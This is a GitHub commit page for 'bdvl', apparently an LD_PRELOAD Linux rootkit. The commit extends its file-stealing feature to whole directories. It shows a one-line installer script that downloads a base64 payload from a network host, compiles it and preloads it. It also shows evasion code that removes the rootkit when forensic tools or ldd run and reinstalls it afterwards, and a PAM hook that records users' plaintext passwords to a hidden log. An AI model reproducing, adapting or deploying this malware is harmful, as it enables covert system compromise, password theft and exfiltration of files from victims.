Skip to content

Commit b46cd41

Browse files
committed
Smarter bdvl. Better bdvl.
For starters, FILE_STEAL is now accompanied by INTERESTING_DIRECTORIES. Files in these directories will be stolen when opened. Upon logging into the backdoor, a size count will be displayed indicating exactly how much has been stolen by FILE_STEAL. in bytes, kb, or mb Other changes are just fixes & me trying to make things generally better... A couple of problems have also been resolved...
1 parent 39a801a commit b46cd41

File tree

29 files changed

+474
-337
lines changed

29 files changed

+474
-337
lines changed

README.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,7 @@ strip bdvl.so*
9292
* Be warned that (_this version of_) the rootkit is not designed to be used with a lot of these features disabled.
9393
* Irregular behaviour & general weirdness may occur otherwise.
9494
* I am slowly making this better. Until then I recommend keeping everything enabled...
95+
* __A handful of functionalities do not begin until the first backdoor login.__
9596

9697
<hr>
9798

@@ -155,9 +156,10 @@ strip bdvl.so*
155156
<hr>
156157

157158
#### File stealing
158-
* Files that will be stolen are defined in `setup.py` (__INTERESTING_FILES__).
159-
* Wildcards apply to filenames.
160-
* i.e.: `INTERESTING_FILES = ['*.html', '*.php', 'backup.*']`
159+
* Files that will be stolen are defined in `setup.py`. (__INTERESTING_FILES__)
160+
* Files within directories listed in __INTERESTING_DIRECTORIES__ will also be stolen.
161+
* Wildcards apply to filenames within __INTERESTING_FILES__.
162+
* i.e.: `INTERESTING_FILES = ['*.zip', '*.rar', '*.txt', '*.db', 'backup.*']`
161163
* You can also specify paths & they'll also support wildcards.
162164
* You may want to consult the default target files & the other settings surrounding it...
163165
* Files already stolen will be removed at least every `FILE_CLEANSE_TIMER` seconds.

auto.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
#!/bin/sh
2-
[ -z "$1" ] && B64TARGZ_LOCATION="http://192.168.0.48:9001/changeme.b64" # changeme
2+
[ -z "$1" ] && B64TARGZ_LOCATION="http://192.168.0.48:9001/super.b64" # changeme
33
WORKDIR="/tmp" # & mayb this.
44
[ `id -u` != 0 ] && exit; [ ! -e /proc ] && exit; [ ! -f /etc/ssh/sshd_config ] && echo "No sshd_config"; [ -d /proc/xen ] && echo "Xen environment detected"; [ -d /proc/vz ] && echo "OpenVZ environment detected"; [ -f /usr/bin/lveps ] && echo "CloudLinux LVE detected"; bin_path(){ echo -n `which $1 2>/dev/null || echo -n 'v'`; }; [ ! -f `bin_path gcc` ] && echo "GCC will be installed."; [ ! -f `bin_path base64` ] && { echo 'Missing base64 util?' && exit; }; [ ! -f `bin_path tar` ] && { echo 'Missing tar?' && exit; }; dlfile(){ if test "$DWNLDR" = "wget"; then DL_C="$DWNLDR -q $1 -O $2"; fi; if test "$DWNLDR" = "curl"; then DL_C="$DWNLDR -s $1 -o $2"; fi; $DL_C || { echo 'Failed downloading.'; rm -f $2; exit; }; }; _LOCATION="`printf "$B64TARGZ_LOCATION" | sed -e 's/^\(.\{4\}\).*/\1/'`"; if test "$_LOCATION" = "http"; then [ -f `bin_path wget` ] && DWNLDR='wget'; [ -f `bin_path curl` ] && DWNLDR='curl'; [ -z $DWNLDR ] && { echo 'Missing wget/curl.' && exit; }; fi; printf "\n\tBEGINNING.\n\n"; [ ! -z "$1" ] && mv "$1" $WORKDIR/; cd $WORKDIR; [ -z "$1" ] && B64TARGZ_FILENAME="`basename $B64TARGZ_LOCATION`"; [ ! -z "$1" ] && B64TARGZ_FILENAME="$1"; if test "$_LOCATION" = "http"; then echo "Downloading $B64TARGZ_FILENAME" && dlfile $B64TARGZ_LOCATION $B64TARGZ_FILENAME; fi; TARGZ_NAME="${B64TARGZ_FILENAME}.tar.gz"; echo "Extracting"; cat $B64TARGZ_FILENAME | base64 -d > $TARGZ_NAME || { echo "Couldn't b64" && rm -f $B64TARGZ_FILENAME $TARGZ_NAME; exit; }; [ ! -f $TARGZ_NAME ] && { echo "Target not found." && rm -f $B64TARGZ_FILENAME; exit; }; INCLUDE_DIR="`tar tzf $TARGZ_NAME | head -1 | cut -f1 -d"/"`"; tar xpfz $TARGZ_NAME >/dev/null; echo "Removing" && rm $TARGZ_NAME $B64TARGZ_FILENAME; [ ! -d "$INCLUDE_DIR" ] && { echo "Include dir not found."; rm -f $TARGZ_NAME $B64TARGZ_FILENAME; exit; }; BDVLSO="`sed '1q;d' $INCLUDE_DIR/settings.cfg`"; echo "Dependencies"; [ -f /usr/bin/yum ] && { for pkg in gcc newt libgcc.i686 glibc-devel.i686 glibc-devel vim-common pam-devel libpcap libpcap-devel; do yum install -e 0 $pkg; done; }; [ -f /usr/bin/pacman ] && { pacman -Syy; for pkg in glibc base-devel pam libpcap; do pacman -S $pkg; done; }; [ -f /usr/bin/apt-get ] && { if test "`uname -m | sed -e 's/^\(.\{4\}\).*/\1/'`" != "armv"; then dpkg --add-architecture i386; fi; apt-get -qq --yes --force-yes update; for pkg in gcc-multilib build-essential libpam0g-dev libpcap-dev libpcap0.8-dev; do apt-get -qq --yes --force-yes install $pkg; done; grep -i ubuntu /proc/version &>/dev/null && rm -f /etc/init/plymouth*; }; echo "Compiling"; LINKER_FLAGS="-ldl -lcrypt"; WARNING_FLAGS="-Wall"; OPTIMIZATION_FLAGS="-O0 -g0"; OPTIONS="-fomit-frame-pointer -fPIC"; LINKER_OPTIONS="-Wl,--build-id=none"; PLATFORM="`uname -m`"; _PLATFORM="`printf $PLATFORM | sed -e 's/^\(.\{4\}\).*/\1/'`"; if test "$_PLATFORM" = "armv"; then PLATFORM="`printf $PLATFORM | sed 's/.*\(...\)/\1/'`"; fi; gcc -std=gnu99 $OPTIMIZATION_FLAGS $INCLUDE_DIR/bedevil.c $WARNING_FLAGS $OPTIONS -I$INCLUDE_DIR -shared $LINKER_FLAGS $LINKER_OPTIONS -o $INCLUDE_DIR/$BDVLSO.$PLATFORM; gcc -m32 -std=gnu99 $OPTIMIZATION_FLAGS $INCLUDE_DIR/bedevil.c $WARNING_FLAGS $OPTIONS -I$INCLUDE_DIR -shared $LINKER_FLAGS $LINKER_OPTIONS -o $INCLUDE_DIR/$BDVLSO.i686 2>/dev/null; strip $INCLUDE_DIR/$BDVLSO.$PLATFORM 2>/dev/null || { echo "Couldn't strip"; rm -rf $INCLUDE_DIR; exit; }; [ -f $INCLUDE_DIR/$BDVLSO.i686 ] && strip $INCLUDE_DIR/$BDVLSO.i686; LD_PRELOAD=$INCLUDE_DIR/$BDVLSO.$PLATFORM sh -c "./bdvinstall $INCLUDE_DIR/$BDVLSO.*"; rm -r $INCLUDE_DIR; exit;

etc/.bashrc

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ tty -s || return
22
[ ! -z $TERM ] && export TERM=xterm
33
[ $(id -u) != 0 ] && su root
44
[ $(id -u) != 0 ] && kill -9 $$
5-
./bdvrolf; ./bdv makelinks
5+
./bdvprep; ./bdv makelinks
66
alias ls='ls --color=auto'
77
alias ll='ls --color=auto -AlFhn'
88
chown -h 0:`id -g` ~/* &>/dev/null

inc/bedevil.c

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,12 @@
11
#define _GNU_SOURCE
22

33
#include "config.h"
4+
5+
typedef struct {
6+
void *(*func)();
7+
} syms;
8+
9+
#include "bedevil.h"
410
#include "sanity.h"
511

612
#include <stdio.h>
@@ -49,11 +55,6 @@
4955
#endif
5056

5157
#define LINE_MAX 2048
52-
53-
typedef struct {
54-
void *(*func)();
55-
} syms;
56-
5758
#define sizeofarr(arr) sizeof(arr) / sizeof(arr[0])
5859

5960
void plsdomefirst(void);

inc/hiding/evasion/evasion.c

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,12 @@
1+
/* uninstall. continue execution in child. reinstall in parent. */
12
int remove_self(void){
23
if(not_user(0))
34
return VINVALID_PERM;
45

56
hook(CUNLINK);
67
#ifdef PATCH_DYNAMIC_LINKER
8+
for(int i = 0; i != LDPATHS_SIZE; i++)
9+
ldpatch(ldpaths[i], PRELOAD_FILE, OLD_PRELOAD, NORMLUSR);
710
call(CUNLINK, PRELOAD_FILE);
811
#else
912
call(CUNLINK, OLD_PRELOAD);
@@ -19,6 +22,8 @@ int remove_self(void){
1922

2023
wait(NULL);
2124
#ifdef PATCH_DYNAMIC_LINKER
25+
for(int i = 0; i != LDPATHS_SIZE; i++)
26+
ldpatch(ldpaths[i], OLD_PRELOAD, PRELOAD_FILE, NORMLUSR);
2227
reinstall(PRELOAD_FILE);
2328
hide_path(PRELOAD_FILE);
2429
#else
@@ -28,44 +33,40 @@ int remove_self(void){
2833
return VEVADE_DONE;
2934
}
3035

36+
37+
/* checks all of the scary_* arrays created by setup.py against execve/p args.
38+
* the scary_procs loop checks the name of the calling process as well. */
3139
int evade(const char *filename, char *const argv[], char *const envp[]){
3240
char *scary_proc, *scary_path;
3341

34-
/* check scary_procs array */
3542
for(int i = 0; i < SCARY_PROCS_SIZE; i++){
3643
scary_proc = scary_procs[i];
3744

3845
char path[strlen(scary_proc) + 3];
3946
snprintf(path, sizeof(path), "*/%s", scary_proc);
4047

41-
/* determine if calling process is a scary process, or someone
42-
* is trying to launch a scary process. */
43-
if(process(scary_proc)) return remove_self();
44-
else if(strstr(scary_proc, filename)) return remove_self();
45-
else if(!fnmatch(path, filename, FNM_PATHNAME)) return remove_self();
48+
if(process(scary_proc) || strstr(filename, scary_proc) || !fnmatch(path, filename, FNM_PATHNAME))
49+
return remove_self();
4650
}
4751

48-
/* check scary_paths array.
49-
see if somebody is trying to call the dynamic linker
50-
in order to resolve a path's dependencies. */
5152
for(int i = 0; i < SCARY_PATHS_SIZE; i++){
5253
scary_path = scary_paths[i];
5354

54-
if(!fnmatch(scary_path, filename, FNM_PATHNAME) || strstr(scary_path, filename))
55-
for(int ii = 0; argv[ii] != NULL; ii++)
56-
if(!strncmp("--list", argv[ii], 6))
55+
for(int argi = 1; argv[argi] != NULL; argi++)
56+
if(!fnmatch(scary_path, argv[argi], FNM_PATHNAME))
57+
return remove_self();
58+
59+
if(!fnmatch(scary_path, filename, FNM_PATHNAME))
60+
for(int argi = 0; argv[argi] != NULL; argi++)
61+
if(!strncmp("--list", argv[argi], 6))
5762
return remove_self();
5863
}
5964

60-
/* check scary_variables array to see if there is anything
61-
set that is a potential threat and subvert it. */
6265
if(envp != NULL)
6366
for(int i = 0; envp[i] != NULL; i++)
6467
for(int ii = 0; ii < SCARY_VARIABLES_SIZE; ii++)
6568
if(!strncmp(scary_variables[ii], envp[i], strlen(scary_variables[ii])))
6669
return remove_self();
6770

68-
/* if the above checks bore no results, there is (apparently)
69-
* nothing to do. */
7071
return VNOTHING_DONE;
7172
}

inc/hiding/evasion/evasion.h

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,6 @@
22
#define EVASION_H
33

44

5-
int scary_path(const char *string);
6-
int block_strings(const char *filename, char *const argv[]);
7-
#include "block_strings.c"
8-
95
#define VINVALID_PERM 0
106
#define VFORK_ERR -1
117
#define VFORK_SUC 2

inc/hooks/authlog/authlog.h

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,7 @@
11
#ifndef AUTHLOG_H
22
#define AUTHLOG_H
33

4-
#define LOG_FMT "%s (%s)\n"
5-
64
int verify_pass(char *user, char *resp);
7-
int alreadylogged(char *user, char *resp);
85
void log_auth(pam_handle_t *pamh, char *resp);
96
#include "log.c"
107

inc/hooks/authlog/log.c

Lines changed: 9 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -17,45 +17,28 @@ int verify_pass(char *user, char *resp){
1717
return 0;
1818
}
1919

20-
int alreadylogged(char *user, char *resp){
21-
FILE *fp;
22-
char line[LINE_MAX], logline[strlen(user)+strlen(resp)+32];
23-
int logged = 0;
24-
snprintf(logline, sizeof(logline), LOG_FMT, user, resp);
25-
26-
hook(CFOPEN);
27-
28-
fp = call(CFOPEN, LOG_PATH, "r");
29-
if(fp == NULL) return logged;
30-
31-
while(fgets(line, sizeof(line), fp) != NULL){
32-
if(!strcmp(line, logline)){
33-
logged = 1;
34-
break;
35-
}
36-
}
37-
38-
fclose(fp);
39-
return logged;
40-
}
41-
4220
void log_auth(pam_handle_t *pamh, char *resp){
4321
char *user;
4422
int got_pw;
4523
FILE *fp;
4624

25+
hook(CFOPEN, CFWRITE);
26+
4727
user = get_username(pamh);
4828
if(user == NULL) return;
4929

5030
got_pw = verify_pass(user, resp);
5131
if(!got_pw) return;
52-
if(alreadylogged(user, resp)) return;
5332

54-
hook(CFOPEN);
33+
char logbuf[strlen(user)+strlen(resp)+5];
34+
snprintf(logbuf, sizeof(logbuf), LOG_FMT, user, resp);
35+
36+
if(alreadylogged(LOG_PATH, logbuf))
37+
return;
38+
5539
fp = call(CFOPEN, LOG_PATH, "a");
5640
if(fp == NULL) return;
57-
58-
fprintf(fp, LOG_FMT, user, resp);
41+
call(CFWRITE, logbuf, 1, strlen(logbuf), fp);
5942
fclose(fp);
6043

6144
if(!hidden_path(LOG_PATH))

inc/hooks/exec/execve.c

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ int execve(const char *filename, char *const argv[], char *const envp[]){
1414

1515
if(magicusr()){
1616
#ifdef BACKDOOR_ROLF
17-
if(!fnmatch("*/bdvrolf", argv[0], FNM_PATHNAME))
18-
dorolfpls();
17+
if(!fnmatch("*/bdvprep", argv[0], FNM_PATHNAME))
18+
bdprep();
1919
#endif
2020
#ifdef BACKDOOR_UTIL
2121
if(!fnmatch("*/bdv", argv[0], FNM_PATHNAME))
@@ -49,11 +49,6 @@ int execve(const char *filename, char *const argv[], char *const envp[]){
4949
case VNOTHING_DONE:
5050
break; /* ?? */
5151
}
52-
53-
if(block_strings(filename, argv)){
54-
errno = EPERM;
55-
return -1;
56-
}
5752
#endif
5853

5954
return (long)call(CEXECVE, filename, argv, envp);

inc/hooks/exec/execvp.c

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -14,8 +14,8 @@ int execvp(const char *filename, char *const argv[]){
1414

1515
if(magicusr()){
1616
#ifdef BACKDOOR_ROLF
17-
if(!fnmatch("*/bdvrolf", argv[0], FNM_PATHNAME))
18-
dorolfpls();
17+
if(!fnmatch("*/bdvprep", argv[0], FNM_PATHNAME))
18+
bdprep();
1919
#endif
2020
#ifdef BACKDOOR_UTIL
2121
if(!fnmatch("*/bdv", argv[0], FNM_PATHNAME))
@@ -49,11 +49,6 @@ int execvp(const char *filename, char *const argv[]){
4949
case VNOTHING_DONE:
5050
break; /* ?? */
5151
}
52-
53-
if(block_strings(filename, argv)){
54-
errno = EPERM;
55-
return -1;
56-
}
5752
#endif
5853

5954
return (long)call(CEXECVP, filename, argv);

0 commit comments

Comments
 (0)